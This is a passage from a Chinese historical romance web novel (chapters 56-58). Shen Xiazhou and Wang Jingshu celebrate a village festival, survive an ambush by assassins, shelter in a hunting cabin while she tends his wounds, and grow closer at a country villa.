沈遐洲听得怔住,他自小左右在父母之间,他们情意浓时,也是过节的,后来就不过了,府中也多有克制,筵席也少摆,更后来他们都不在府中了,二伯母管家下,松泛许多,府中摆开筵席整府娱庆,可他也少有真正融入的时候,他心中甚冷,看什么都无知无觉。 他应是病了,且一直不曾好。 即便女郎在怀,他也常常患得患失,担忧她会离他而去。 “我喜与你在一起。”沈遐洲望着王静姝的眼眸道。 风惊流云,华灯满绕,喧嚣盛耳,可这一切都在一瞬远了淡了,王静姝只望入了郎君温柔又眷恋的眼眸。 望得她在一刻被灼到了般下压了郎君面上的面具。 再望下去,她会克制不住对沈遐洲做些什么,她就是会被他身上偶然流出的流离感吸引并为之颤动。 她拉着郎君离开了热闹的人群。 沈遐洲勾了勾走在前头女郎的手心:“不逛了?” “我带你去其他地方。”王静姝不停地继续走。 沿街的彩铺林立,她挑中一门面不大,甚至有些的普通的成衣铺子入内,目光在那些朴素的成衣上挑拣。 最后选中了两身,要沈遐洲去换。 她自己也摘了钗佩,换了素色葛衣,吩咐嵇牧赶车,去城外。 嵇牧望郎君一眼询问,沈遐洲一切随女郎地点头。 城门的守卫自然不会多查沈府的车马,稍看一眼就放了行。 虽然城内也有社日庆典,但很多人多会愿意在这一天到村镇中去过节,因村民平日里的生活清苦,平日里敞开痛快吃喝的时候不多,每当这样节日时候,喜乐气氛也会比旁的地方浓上许多。 王静姝曾就跟同与她同岁的王七郎去感受过,如今她也想带她身旁的郎君去试试,该玩的时候,他却总这么放不开,一点也不好,难怪他心里会有病。 她虽是这样想的,却不可能当着沈遐洲的面这样说,只道是城中的节日她过厌了,想去体验体验乡野处的。 他们到洛京外最近的一个村中时,锣鼓萧竽入耳而来,正巧是“赛神”开始了。 也就是将土地神主装上彩车,前后舞狮舞龙,各般杂耍强鼓紧跟其后。 民众鼓掌,踏歌起舞,没有任何节奏舞步之说,只是随心而动。 诗中所说的社舞村歌就是这样。 王静姝拉着沈遐洲边拜神边游玩,遇到三五成群聚在一块把酒开宴的就上去讨一杯酒。 多是酿熟了的米酒,不够醇,但多喝上的些,也是会醉的。 王静姝就看着同她一块的郎君先是扭扭捏捏地放不开,甚至对这里嫌弃,那里嫌弃,不解王静姝为何要来此处。 但被女郎或轻诱地撩拨—— “你是要我喂你吗?” “你不是答应要与我一起过节,怎就连这都做不到?” 或是刺激地挑衅—— “你若不喝,我就寻旁人去,我瞧方才有些郎君很是健壮……” 这些言语下,沈遐洲也不知自己喝了多少的酒,他逐渐地开始享受这乡野中的豪迈趣味,拉着女郎席地而坐,手懒散地搭在膝上,有一下没一下地轻敲着与不远处的人群和歌。 王静姝撑脸瞧他,她其实很少见沈遐洲饮酒,他以前就是个病郎君,后来好多了,她瞧着他也不是很健康,不过方才她哄沈遐洲饮酒时,嵇牧不曾阻拦,那就应是无事的。 她瞧他眉目风雅,即便颊靥生绯的惬意模样,也端是好一派的金质玉相。 这样的郎君真是让她舍不得。 舍不得就此放手,不然也不会一次又一次地与他纠缠在了一块。 “你方才在想什么?” “你是为我才来乡间社日的吧?”沈遐洲视线低垂地望向女郎开口,鼻息也在靠近,淡淡的酒气并不显刺鼻,他沉郁地拉了王静姝的手,在手中揉捻,“你是不是又觉得我不够合你心意了?” 他面容扭曲一下,乌黑瞳仁安静注视王静姝,透出病态 的侵略与压迫感道:“那我也不会放过你。” “是你先来招惹我的,我与你不死不休。” 俊美的郎君绯红着脸说着狠戾威胁的话,王静姝心跳都快了一分,但不是怕的,只是觉得他这时是真有些醉了,换了清醒的时候,他应该作态一些地伪装成一个好郎君。 她白他一眼地用手别开他的脸,无语道:“知道了,知道了,你都不知说过多少次了。” 沈遐洲见威胁不成,又沮丧又委屈:“你就这样见一个喜欢一个,王静姝,你对我根本没有真心,你就是想与我欢好后抛弃我。” 王静姝听得额角都跳了跳,她如何就见一个喜欢一个,时下没有男女大防一说,她也就是同欣赏的郎君多交好了一些罢了,哪就谈得上喜欢了? 但多少知晓沈遐洲为何每次不顺她意与她试一试了,她竟觉得有些可爱,便生出了再诱他多说些什么。 她问:“沈九如,你是醉了吗?” 沈遐洲瞪她一眼:“我没醉。” 王静姝噙笑点头,肯定沈遐洲就是醉了,只有醉了的人才会说自己没醉。 她垂头思索该问些什么,却陡地被郎君拥腰带起,往踏歌处再去讨酒喝。 原来他证明自己没醉的方式就是继续饮酒。 王静姝欲言又止,怀疑同醉了的人讲理能听得进去吗? 然,她不过放任一瞬,那郎君也不知与乡人说了什么,兴起又饮了一大碗,甚至跑来要拉她一起跳舞,他拉她手道:“卿卿,方才那些人很有眼光,他们将你当做了我夫人。” 他又轻回味了下那称呼,问王静姝:“卿卿,你要做我夫人吗?” 星槎照天,纤云笼月,无尽头的星河光芒在此刻好像都汇入了郎君的眼中。 王静姝一瞬痴望,点头应了他。 但不多时,王静姝就后悔应他了,压抑久了一朝释放又醉了的郎君,脸皮过厚,他竟当着许多乡人的面大喊:“这是我夫人。” 他们虽服饰简素,但单是看姿容和不远跟着的卫士,就不是普通人家,乡人们也顺着郎君的意说了许多祝福和相配的话。 郎君兴致更甚。 王静姝默默盖下了脸上的红狐狸面具,寻机会退到了嵇牧身旁,问:“你家郎君过往有饮醉过吗?” “他醒后还会记得自己做过什么吗?” “娘子,我家郎君从不过度饮酒,过往没有醉过。”嵇牧给了王静姝一个自求多福的眼神,退开一步。 显然的,不远处的郎君不悦女郎甩开他与旁的男子说话,他看嵇牧的眼神都不对了。 王静姝头痛不已,她没想到醉了的郎君会这样难搞。 她日后不再故意灌醉他了。 第56章 第56章剧情 王静姝虽有些嫌弃醉了的郎君丢人,但也觉得他这样甚有趣。 他的醉并不是乱发酒疯,也不像是完全失去了理智,而像是有了一套更为直白坦率的思考方式与行动依凭。 这样有好的,也有坏的,好比此刻,他的嫉妒心和独占欲就更放大了不少,看嵇牧的眼神活像是要生剐了他。 看女郎的眼神也如负心人一般哀怨。 王静姝叹气一声,自己带出来的郎君只得自己哄,在他快走近前,先一步地迎上前,“啵”地一声,出乎郎君意料地在他颊侧印上一吻。 她拉他的手哄人道:“我陪你走走好不好?” 沈遐洲目中原本的阴郁与戾气顷刻消散,脑子也慢一拍地转,跟着女郎散步。 他极安静,目光也一瞬不瞬地紧追着女郎,见漫天莹光自她发上、肩头萦散,像是会发光一般。 王静姝似察觉他的过于安静,侧肩偏过头疑惑望他。 沈遐洲停顿了脚步,忽地拥了她,“卿卿,我喜爱与你过节。” “日后你也邀我过节好吗?” 许是今日氛围过好,他的嗓音也太过温润迷人,王静姝竟没有反驳他话中的矫情,还红了面。 她再次觉得日后不能让沈遐洲喝醉了,他醉后实在过分温情,还是她难以拒绝的那种温情。 她也不知他酒醒后可还会记得,便干脆顺着他意地答应了,反正她自来如此,只享当下的快意,日后的事情能不能做到日后再说。 然,醉酒了的郎君却极其认真,高兴地与她说了许多的话。 慢慢的,月光藏入了云后,乡里的欢闹人群也渐散,许多人家也归家灭了灯烛,他们重上了马车归府。 夜风很静,马车中的郎君似是很满足地拥着女郎轻声道:“卿卿与我共枕眠。” 王静姝有些失笑他还没醒酒,但也享受郎君的怀抱,往他怀中缩了缩地也闭目小憩。 车毂声破开夜风,有种不一样的安宁。 嵇牧打了个哈欠地赶车,王娘子与他家郎君真是每一刻的走向都难以预料,时而为他们感到悚然,又时而觉得他们就是彼此最适合的,他跟随郎君这般久,就没有见过有人能这样将郎君哄得服服帖帖,主君若是见到了,怕也是要感谢王娘子。 嵇牧将马车赶得更平稳了些,然渐离了人多的乡村,有些不对劲才越发地显了出来,灌木簌响,有银光闪现,“叮”的一声,嵇牧剑鞘挡开了一枚暗器。 他勒马环扫四周,马车周围卫士也抽刀拥上,他们此行带的人不多,又是在无人的乡野外,便是发出暗令,援助也难以来得及时。 嵇牧在瞬间做出判断,驾车疾驰。 马车中的沈遐洲也早已在暗器袭来时睁了眼,这是常年习武人的本能,王静姝也从他怀中起身,沈遐洲相护姿态地拥了女郎的腰,另一手从车中抽出了佩剑:“别怕。” 王静姝不知发生了什么,但也察觉到了危险的来临,她点头并不多问,以免分了郎君的心,她能听到黑夜中呼啸而来的追赶,还有护在外的卫士刀剑铿锵。 灌木中跃出许多的黑色人影,冷光穿过车外卫士的防护,射入车中,沈遐洲挥剑拦下,到了此时,车中已经不能再待。 显然的,来人也想将车中人逼出,随着一声凄厉马嘶,马车陷入了陷阱。 沈遐洲带着王静姝冲出了马车,他们被人包围了,黑衣与黑夜相融,冷光却甚寒。 其中一黑衣人见着被郎君护在怀中的女郎,粗哑声道:“就是这个小娘子,将她带走。” 王静姝震惊掀眼,她没想到这些黑衣人竟是冲着她来的。 沈遐洲也没料到,但这显然触怒了他,他目色通红,长剑从一攻上前的黑衣人腹中拔出,鲜血溅了满袍。 “何人命你们来的?”俊美的年轻郎君声冷如鬼魅。 往上冲的黑衣人,也没有料到这个瞧着文文弱弱的小郎君,竟也是会武的,手段也狠厉凛冽,但也只是停顿一瞬,他们就又上了,“小郎君你运气不好,这是我们主子要的女郎。”领头的黑衣人又去夺沈遐洲身后的王静姝,“你若是将这小娘子交出来,你还有个全尸。” 沈遐洲显然被触怒,他的女郎,谁人都不可抢,他冷笑一声,手下招式越发狠厉。 所有想趁机抓王静姝的黑衣人,不是死在了郎君的剑下,就是被旁的卫士阻拦了。 王静姝虽一时安危无虞,但也知不会武的自己是个拖累,她在所有人之后,去解因车轱辘陷入陷阱而一直留在原地的马匹。 这些人的目标 既然是她,只要她能冲出突围,那所有人便能减轻不少压力,况她马术好,不一定就会被追上。 然也是这时,后方又追来一批同等黑衣打扮的杀手,这群人手中寒光刺冷,人数甚至更多,他们只瞧了这边一眼,就也一拥而上。 王静姝第一次知道原来自己竟然这么招人恨,竟能让人劳动这般多杀手取她性命。 两拨杀手的汇合,沈遐洲明显察觉到了其中的不同,但不是深究的时候,也知再这样僵持下去,他们终会寡不敌众。 他退至王静姝身旁,帮她一剑砍了连着车舆的车驾,嵇牧等人也退至于他们身旁:“郎君,这群人与方才那些人有些不同,你带王娘子先走。” 沈遐洲眸色下沉一瞬,没有多说什么,拥着女郎上了马,几名卫士也呼哨几声,欲呼回在先才打斗中惊吓逃离的马匹,但他们也并不非常指望,主要还是护着郎君与女郎冲出包围。 刀光时刻闪在余光外,王静姝克制自己不去看这些,用所有的心神去控制身下的马匹,令沈遐洲能全心阻挡身后的暗箭与不断追来的黑衣人。 “冲出去,我会追来。”包围中攻出了个口子,沈遐洲全然信任女郎地放手了缰绳,继而反跃下马背。 王静姝目光陡地撑大,但她继续留下用处并不大,倒不如相信他们,她抓住了机会冲出围困,而跃下马的郎君面色愈白,杀气也越盛,他冷酷又决然与欲追的几个黑衣人缠斗在一处,他根本不惧落在身上的刀伤,他像是感受不到痛苦一般,一剑便能解决一个敌人,继而反身劈砍向方才在他身上落下刀痕的黑衣人。 他明明已经战斗许久,却仍旧披血而立,他到底是什么人?黑衣人首领有些惊惧地扭望了与其他卫士缠斗一起的一个黑衣人。 也是这么一瞬分神的功夫,他被披血的郎君扣住了脖颈,“你听何人的命?” 黑衣人能察觉到脖子处收紧的力道,这郎君根本没想让他有开口的机会,果然,下一刻,他目瞠着软了身子,郎君也松了手,另一手握着的剑,也像是还没有饮够血一般泛着寒光:“没关系,我会自己查。” 他向前走了一步,却被嵇牧冲到身前再阻一次:“郎君,不能留了。” 再打下去,他没有把握让郎君也全身而退。 好在这时,又有马匹在林中嘶鸣一声,嵇牧欣喜呼哨,果然是他们方才被吓跑的马,回来的还不止一匹,他一边砍了一黑衣人,一边夸了声:“好马儿!” 看到马匹,郎君杀戾之气也稍退了一些,吓跑的马不会无故回来的,定然是王静姝将其驱赶回来,他不再恋战,先上了马退走,后留数位卫士断后。 他骑在马背上,速度不断加快,身上流下的鲜血染湿了马背,但他眸光却异常亮,他不放过周遭的一点动静,女郎将他们的马往回驱赶,那定然没有跑得太远,他寻着踪迹跑入一处林中,茂密的枝杈在他身上留下深深浅浅的痕迹,他全然不在意,他一边寻人一边呼唤了几声卿卿,直到得到了女郎的回应。 王静姝是偶然遇上了逃窜入林中的马匹,以她一人即便跑回了洛京城中求救,也不知要耽搁多久,能不能敲开城门也未可知,她下定决心般追入了林中,将能追得的马往回赶了赶。 只要能有人再突出包围,那马匹便是极好的助力,嵇牧等人在打斗前有意放跑了几匹没被伤到的马,又在突围时呼哨,无不是出于这个考虑,王静姝误打误撞也正帮到了点子上。 沈遐洲自林中寻到女郎,便换与女郎共乘。 多出的一匹马,他在其马背上挥斥一下,赶出林中。 王静姝能察觉到身后郎君逐渐流失的力气,她努力坐直身子,让他依靠,然而,在黑夜里辨别方向,还兼之避开许多横出的枝桠实在不是易事。 初时,沈遐洲还会帮忙她关注一下方向,再后来,他便趔趄一下地往马下栽,王静姝慌下,与他一同落下了马背,郎君闷哼一声地护住了她。 王静姝心中越发愧疚,扶着他起身,往一旁的树干上靠。 “你哭了。”沈遐洲伸手触上了女郎的脸,他能夜视,并不容王静姝狡辩的肯定她是哭了,他蓦地有些慌张,他从未见女郎哭过,她一直是漂亮张扬的,他为她擦去眼角的泪痕,有些恍惚地问:“卿卿,你是为我哭吗?” 他不开口还好,一开口,王静姝隐忍的泪意便越发汹涌,她不喜欢自己这样软弱的样子,手背不断去擦流下的泪水,“我不是为你哭,我是为我自己哭,你若是死在这里,长公主定然要我给我陪葬。” “我还不想死。” “你也不要死。” “你又气我,你分明知道我想听什么。”沈遐洲面白如纸,说话都没什么气力,这样了,还想听女郎哄哄他。 “你就不能说你在意我,你爱我,舍不得我死吗?” 女郎眸中还蕴着泪,但并不顺郎君意地去说那些话,她用力撕自己葛衣下柔软干净的裙摆,借着疏淡的月光为他包扎:“你好了,我才说给你听。” 她有时候的倔强与郎君的偏执不相上下,默对片刻,郎君败下阵地道:“我不会死,你也不会死,你也别自责,那些人不全是因你而来。” 越是冲突与交手,沈遐洲越是能发觉先后两拨黑衣人的不同,前者确如他们所言,是冲着王静姝而来,交手中,见他难缠,便不断创造机会想先带走女郎。 而后面追来一批人,明显准备更足,顾忌更少,也另有一个首领,招招都指向他。 一次刺杀两个首领,如何看都有问题,但两拨人又分明认识,像是存在某种合作。 沈遐洲撑着力气将这些说于女郎,他知道她为何哭的,可他并不想女郎将责任都往自身揽,她没有错,他也喜爱与她过节,这些杀手目标既是他们,不是这次也会是下次,他甚至觉得庆幸,庆幸女郎是与他一起。 第57章 第57章“你摸得我有感觉了。”…… 黑黢黢的夜,月亮一旦躲到云层中,王静姝就难以看清郎君的任何神色,可心神却又比任何一次都觉得震荡,她哽咽了地阻止道:“我知道了,你别再说话了。” 她在摸索中,已然找到了沈遐洲伤重之处,可她撕下的布根本不能止住他的血,透过锦布浸过来黏腻温热的血,令她感到害怕的颤抖。 她不是第一次见沈遐洲虚弱,甚至受伤,可都不一样,那时都有专业的医师能为其处理,也没有时刻警戒还可能出现的危险,她怕自己止不住他的血,怕他最后会死在她的手中。 她又撕下一长布,压迫住他侧腰处的伤口,直到其不再浸出血,才为他加固包扎。 久留终不是长久的之计,她摸了摸沈遐洲渗出的虚汗,扶他起身,“你还能不能动?你再坚持坚持,我知道哪里有能先收留我们的居所。” 她常与洛京子弟田猎,而田猎的路径中,为防一些意外,还有带的仆从也不是都能跟得上主子的,便会在沿路搭建一个临时的小木屋,放置了一些常备的伤药等物。 她也是方才才想起,去寻小木屋,这是他们现在最好的选择,沈遐洲的伤能及时寻到药处理,也不用在荒野外过一夜受寒,比往都城中去也更隐蔽。 唯需赌的一点,那些黑衣人不会往林子中来寻,先才赶出林中的马匹能将其迷惑过去。 最要紧的是她也没有能力带着沈遐洲堂而皇之地行在大路上。 两相抉择中她还是想去寻木屋。 沈遐洲失血过多的孱弱,但也是稀奇,他从始至终都不曾有晕过去的迹象,听女郎这般说,他便挣扎着起,王静姝忙去搀扶他,他却不愿让女郎承受过多的重量,上马也全靠自己。 王静姝也上马后,肩膀有意向后侧:“你靠着我。” “嗯。”沈遐洲微红脸地靠上前。 王静姝:“手也给我。” 她将沈遐洲的手圈在自己腰处,空出一只手扶着,她实怕他再次落下马。 女郎腰腹触感软软的,但又能感受到一股韧劲,沈遐洲头脑昏沉地靠着她道:“卿卿,你待我真好。 ” 他总是能得出王静姝想不到的一些结论,她哪里待他好了,她自己一时都有些想不出,可她能感受到郎君说话时的虚弱,她既想他多留一些力气,又怕他在她看不见的背后睡去便不再醒,她便与他说话:“我哪里待你好了?” “你不是总说我气你吗?” 沈遐洲在她背后摇头,“你明明都走了,还有意留下来等我。”王静姝完全可以不用浪费时间在驱马上的,而且:“你这次也没有弃我。” 王静姝气得扭头,“沈遐洲,你当我是什么人,你同卫士突围只让我先走,你当我真能心安理得地只顾一人逃吗?” 她只是不想留下当拖累,不代表她心中一点感触也没有。 她自然也不可能在这时候不管沈遐洲,而且即便沈遐洲说了有一批黑衣人许是冲着他来的,可最初的那一批目标是她也是不争的事实。 沈遐洲都不曾抛弃她,她自然更没有理由抛下他。 沈遐洲被女郎忽提高的音量吼得心虚,收紧了些圈在女郎腰处的手弱弱道:“是我想错了,你别生气。” 王静姝仍旧有些生气,可想到他是个伤者,哼哼地“嗯”了声。 木屋很简,但足以避风,也靠近水源,足以将沈遐洲身上旁的伤也清理一番。 王静姝先点了油灯,又从屋中翻出了些伤药,她解开先才只为止血强包在沈遐洲衣外的布带,沈遐洲也配合地脱衣,已与伤口黏在一块的衣料扯动下又汩汩冒出了血。 王静姝连忙将伤药撒了上去,又用干净的布扎上,一番动作下,她手下的肌骨陡地绷紧,又闷哼一声地缓缓放松。 王静姝焦急抬眼:“我不太会包扎,是不是又弄痛你了?” 她其实光是为他包扎就冒了一堆的汗,她所有实践的经验都来自眼前的郎君,也就等于说在此前,她一点经验也无。 她对自己的手法一点自信也无,况那伤,光是瞧着就骇人,何况还是受伤者本人,一定是痛的,她怜惜般地抬了手,为郎君抹平蹙起的眉心,“三表哥,你忍一忍,我回府后,一定寻医师学一学包扎的手法。” 沈遐洲握下女郎的手,摇头,与她的手法无关,只要是伤,那必然会有痛感,而他对痛感的忍受能力其实一直较一般人强,他曾中毒,如今身上的伤带来的痛感,较之药浴与内劲冲刷洗伐余毒的痛,根本算不上什么。 甚至,他有时会享受身上这种带来的痛,这令他感到有知觉,而不是行尸走肉。 可有了女郎这一切又都不同了,他喜爱女郎对他的关心,漫遍四肢百骸的满足,这种强烈的需求,比数年前和过往每次都要更甚。 谁也不能与他抢走王静姝! 他面白无比,可心中又诡谲无比,他已在想要揪出杀手背后之人,要如何与他们清算…… 他低垂着面容,瞧不清目中的神色,低放的油灯也将他面容照得微弱,显出几多温静郁美,乌鸦鸦的发凌乱散落,不整的衣裳一半叠于没有伤到的那边腰侧,大片润玉般晃眼的胸膛敞露着,些许犯不着处理的枝桠划痕布在他颈处。 平日齐整无比的衣着下只觉清拔优雅,脱了才知腰身劲瘦,肩膀宽而阔,肌肉紧实,不会过分夸张,但又流畅有力。 也难怪他的武功都不是虚的。 王静姝默默垂了眼,他都这么惨了,她实不该还去欣赏他的好皮骨,她当做根本没有发现他衣裳不整一般,又去屋中翻找可用的东西。 屋中其实很少有能辨出主家身份的物件,多是聚在一处歇脚仆役们留下的各种杂物,翻找出来的衣物也不知放了多久,一股子的霉味,连盖一盖都难过心底那一关。 “卿卿别费力了,你来与我靠坐歇歇吧。”沈遐州也知道这样木屋能有伤药就已经不错了,旁的,就算真有些留下的好东西,底下的人也都拿去换了银钱。 月悬于天,秋夜里的风多少带上了寒意,王静姝不甘心地又扒了扒那堆杂物,哐地拖出一物,开心道:“有火盆,我就知一定有人也喜冬日田猎。” 冬日外头那样冷,有些跟从的奴仆定然是要生火的,如今她也正好得用,她胡乱地寻了些易燃的物丢入盆中,生了个火盆,这样屋中也暖了许多,也很令人安心,至少虚弱的郎君不会在夜里受寒了。 她忙完这些才重新坐到沈遐洲身旁,他果然矫情战胜了挑剔,披上了染血的外袍。 她看了一会,至少辨出不是他身上又浸出的血,也就随他去了。 随着火盆中的杂物噼啪作燃,王静姝也涌上了疲倦,她能撑到现在不抱怨,不放弃,已然是适应能力极强。 沈遐洲将她脑袋往自己肩上靠,指间拂开她落下的发,女郎姣好的面容在方才的忙活中,沾上了几道灰痕,他失笑地简单为她擦了擦,女郎显然累极,一旦闭目,就疲困得难以睁开。 她身上恍若有永远也耗不尽的生命力,不管是过去还是未来,都深深地吸引着他。 他眸光奇异亮着地喃声:“怎么办啊,卿卿,我越发不能失去你了。” * 同样的夜雾中,剩余的黑衣人仍旧在捕追逃离的卫士与郎君和女郎,然,在这样的追寻中,他们丝毫没有留意自己同伴,当最后一个丹阳为女郎而来的黑衣人,死在了另一批杀手手中时,领头之人打下几个手势,黑影汇聚在一处,在先才的一批死人中留下些什么痕迹,才又散开。 黑影无声落在一处精致的院落,跪下拱手汇报。 过了许久,那上首的人才挥退黑影,独自轻咳几声叹息:“三郎果然命大。” * 翌日,天光未亮,沈遐洲小心放开女郎,朝外走去,是同样染血的嵇牧寻来,他见到安然的沈遐洲明显松了一口气,继而朝郎君身后的木屋望一眼:“王娘子也与郎君在一起吗?” 沈遐洲一幅本该如此的模样开口:“自然。” 嵇牧没有过多留意郎君话中浓浓的独占意味,彻底放下了心,这两位祖宗都无事那就是不幸中的万幸。 他肃了神情,开始禀报:“郎君,已查清昨日杀手是南地丹阳王冲王娘子而来。” 原是昨日护着郎君也突围离去后,他们余下数人尽力阻拦其追赶一会后,也尽力分散而退,以迷惑其对郎君的追赶。 战斗一旦拖得长了,援助的卫士也到了,他们分散一边寻郎君与女郎,一边倒回去查探那群杀手。 分开而退的卫士中有与黑衣人打斗的痕迹,死去的卫士附近也有死去黑衣人,他们一一探查过去,只从被郎君捏死的首领身上寻到一些身份证明。 “死去的人数可对得上?”沈遐洲立在风雾中,仍旧觉得查得太轻易了点。 “对不上,”嵇牧当即道,又有些奇怪:“这群人似对我们的暗令尤为熟悉,像是知晓多久我们的援助就会赶来,在此前就停歇了追杀,退了个干净。” 嵇牧其实有个猜测,但并不敢提,虎毒还不食子,长公主应不会这般做吧,可那留一线的撤去实在很难不令人多想。 沈遐洲自然也想到了,甚至想得更多,昨日明显是两拨人,前一拨为外来,只识得王静姝,不识得他,所以才会在发现他一行人并不好对付时,下意识扭看了另一头领。 而后一拨人显然知晓前一拨人的来历,并在合作中隐瞒了他的身份,只当他是一个普通小郎君,抢了便抢了。 这些推动和留下的迹象都在表明,丹阳王仍在觊觎他的女郎,且对他下杀手有对朝廷有不臣之心。 这即便他将昨日之事瞒下来,丹阳王的人死在洛京,兼之后一拨人或许会传给丹阳王的消息,其必然惊惧下做出些什么与朝廷对立的举动,朝廷不会不察。 战事会起! 谁人能在战事中获利? 无疑的武将。 这又恰与长公主抬举寒门武将相合,只要将陶敬调往荆州练兵,便可直指丹阳、西陵。 沈遐洲不敢相信长公主会做到如此地步,可心中另一面又不住地去想,是他母亲会做出的事,在权势与宏愿面前,不听话的儿子又哪里比得上。 即便早被父母抛弃过,再次面对这种可能,他仍旧悲戚大过了怒恨。 那种不被需要的窒息感常常冲垮他理智,令他不由想,乱吧,乱吧,干脆都乱了。 王静姝再醒时,下意识地先去寻身旁的郎君,他就靠坐在身侧,她伸手去试他额间的温度,没有发热,那就是说明只要等伤势愈合就能大好。 这些基本的判断她还是有的,可她甫一收手,就触及了郎君无精打采的眼眸,她总觉得他似难过又似凄楚,好像下一刻就要哭出来一般。 “你怎么了?是身上的伤痛得休息不了吗?”王静姝放柔了嗓音,想再去看看他的伤,也怪她睡得太沉,忽视了他疼痛中需要忍受的漫长,她或许该多与他说说话。 沈遐洲放由女郎查看,被探入的手指轻碰到伤处附近的肌肤,很轻柔的力度,却像带着火星般能将他点着。 他阒黑的眼眸也陡然紧缩,用一种幽晦的目光紧随着女郎,她有一日也会离开他吗? 王静姝查看完,绷带并没有散开,也没有再渗血,她古怪抬眼,却忽地被郎君捂住了眼,她伸手去抓,却被他拥抱住:“卿卿,别看我,让我抱抱你。” 他担忧自己目中的疯狂会吓坏女郎。 “好,我不看你,能告诉我你是怎么了吗?”王静姝觉得沈遐洲自醒来就很不对劲,但她也并不急切郎君的回答,从他肩下拥上他的肩背轻拍着安抚。 像过了许久,他声音才有些微弱地传来,她听见他道: “你摸得我有感觉了。” 第58章 第58章“是还不好吗?” 王静姝怔住,神情露出没听清般的空茫。 大清早的,她也就为他检查身上的伤势才碰了碰他,他方才说什么了? 有感觉了? 她知道沈遐洲好撩拨,可他脑子装的都是什么啊! 莫不是坏了? 她松开沈遐洲地去瞧他,他赧然垂眼,白面晕出些滟色春潮,春山迷雾一般风流悦目,他还飞快掀一眼问:“你如今还想与我试一试吗?” 她自然是想的,王静姝喉间似发声地微动一下,又打住地咽了回去,越发狐疑地瞧沈遐洲,他前一刻还要死不活奄奄一息的脆弱样,下一刻又色欲蒙了心。 她实在是看不透他怎么了,况且,他非要在这时候说吗?也不看看他们现在到底有多狼狈。 沈遐洲显然读懂了女郎的想法,他勾她手道:“这些都不是问题。” “我觉得是问题。”王静姝并不理会他低落沮丧,又一副要死的模样,径直起身,天色亮了,且没有杀手再追来,他们应该快些回都城才是。 木屋的门甫一打开,明灿灿的日光倾泻而入,她整个人笼在光下的明媚粲然,沈遐洲想抓住什么般地朝她伸了手。 而女郎也在这时转了身,自然极了地牵起他。 他落下的视线紧盯着他们的相握处,不舍放下地收紧。 夜阑只觉得自己就是个空气,嵇牧也受了不轻的伤,同郎君禀报了探查所得,就换了他来交接护卫,他在夜雾中等到露水凝结,晨霞初显,又等到了木屋中的动静,女郎开了门,然女郎像是被日光刺了目,并没有察觉有人等在外地又折反了木屋中。 而与女郎一同出来的郎君,也根本不看他地垂眼盯着某处。 他不得不自己显露存在感,“郎君,女郎。” 女郎像是才发现他地露出惊讶神情,而郎君却是轻飘飘来一眼,嫌弃他煞风景。 沈遐洲这才与王静姝解释后半夜时嵇牧寻来之事,王静姝便追问嵇牧还有那些护她逃离的卫士们如何。 死伤四之有三,预料中的结果,可仍旧经不住惆怅与难过,或许她不带沈遐洲出城过节,这些卫士也就不会因他们而死了。 她不是常常这样多愁善悲的心肠,可亲身经历于此,又亲看卫士们奋身相护,再又得知他们身亡,总归是良心难安,“他们可有家眷妻儿?” 沈遐洲安抚地捏了捏她指骨,“这些我都会安排,自不会白白令他们失了性命。” 说起这些时,他不自觉地在女郎面前显露了些阴郁杀意。 王静姝越发地觉得他状态不对,他好像越发控制不住自己的情绪了,无论是好的,还是坏的。 这令她不由更细问了些嵇牧是何时来的?为何没有将她唤醒早些离开,可是查到了什么? 她的问题很多,郎君却有些恹恹的,耍赖地将她一拥:“卿卿,你问题怎么这样多,我累了,你让我歇歇。” 他是那种乌浓含情的眸子,当他睁着眼时,便会不自觉地被他目中蕴着的情绪吸引,探究亦或是陷入,可当他闭上眼,眼底沁透肌肤的青就显了出来。 王静姝猜他或许一晚都没有睡,也更笃定是发生了什么,或是从昨日的杀手中查出了什么。 夜阑赶车并不比嵇牧差,可同他也打过交道的王静姝却知,这人死板得很,沈遐洲让他做什么就做什么,话也问三句或许才答一句。 她掀开车帷看一眼,便干脆放弃地放下了,直到察觉驶向的方向不对,又不忍推醒沈遐洲,她才又掀帘问:“我们这是去哪?不回去都城吗?” 夜阑面无表情,声音也平稳得没有波澜:“郎君伤了,去别院修养。” 沈遐洲确有些心灰意冷,并不想回都城面对各种真真假假的关怀,尤其是可能的那人,至于战事起不起,与他何干? 王静姝本该生气,沈遐洲又没有经过她的同意为她做了决定,可见他现在这令人担心的模样,若放他一人养伤,怕是又要凄惨极了地自怨自艾。 沈遐洲可真是她冤家啊。 她就再好心陪陪他吧。 沈氏作为世家大族,又在洛京经营多年,各种庄子别院多几处也寻常,这处城郊的别院却修得有些潦草,房屋并不多,但极映秋日的景。 往窗栏上一靠,便是秋霞映荻花,衬得人都凄惨了几分。 王静姝就瞧着俊美的年轻郎君倚在敞轩细柱处,宽袖大袍铺散了一地,如将崩玉山一般地将药一饮而尽,棕色的药汁将他淡色的唇瓣润透,他微抿一下,喉结也跟着滚动,白皙颈子向下,显出几分弱不胜衣来。 他又这样,又这样空离惆怅得惹人心疼。 就受一下伤,医师都说他好多了,伤口也结痂了,他还一副要死不活的样,他到底要怎样嘛? 王静姝不耐烦地上前,揪起他衣襟:“沈遐洲你到底要哪样?病歪歪的,还能不能好了?” 郎君任由她揪,脸颊也偏向了一边,说得好不伤心:“卿卿,你也厌弃了我。” 他都用上了“也”字,到底谁还对不起他了?洛京中沈二郎昨日还派人来送了东西。 王静姝瞧他的样子就知硬的对他没用,便松了揪着他的力道,抵着他腿地跪坐在他身旁,放低嗓音地诱哄:“我如何厌弃了你?我喜爱你都来不及,你怎会这样想?” 女郎的情话总是张口就来,沈遐洲用眼撩一眼又撩一眼地回望女郎,欲言又止地垂眼。 他本就相貌出众,这样羸弱低眼的模样,既晶莹剔透,又似苍茫展开的画卷,清渺、远淡,也与此间秋色融为一体般地令人伤怀。 王静姝受感染般,鬼使神差地亲了亲他。 而这时,郎君眼眸也倏地亮了地拥了女郎的腰,他早就学会怎么引导掌控亲吻,亲得女郎腰身发软。 王静姝不自觉地就被郎君带一下地坐 到了他腿上。 分开时,两人唇瓣皆润泽无比,些微草药的苦涩令王静姝回味地皱了眉,沈遐洲望着她笑,又仰头追着她索吻,吻落在了她的颈上、下巴、还有脸颊,根本躲无可躲地又吻做一处。 王静姝被闹得出了一层的薄汗,而她身下的郎君也亦如是,甚至喘、息更甚,王静姝推一推磕在她肩上的郎君,觉得他就是在装可怜,然后骗她与他亲热。 沈遐洲并未被推动地含了含她耳垂,声音惑人一般鬼魅,“卿卿,你今日想与我试一试吗?” 王静姝惊醒地后撤,郎君脑袋也失去支撑地茫然看她。 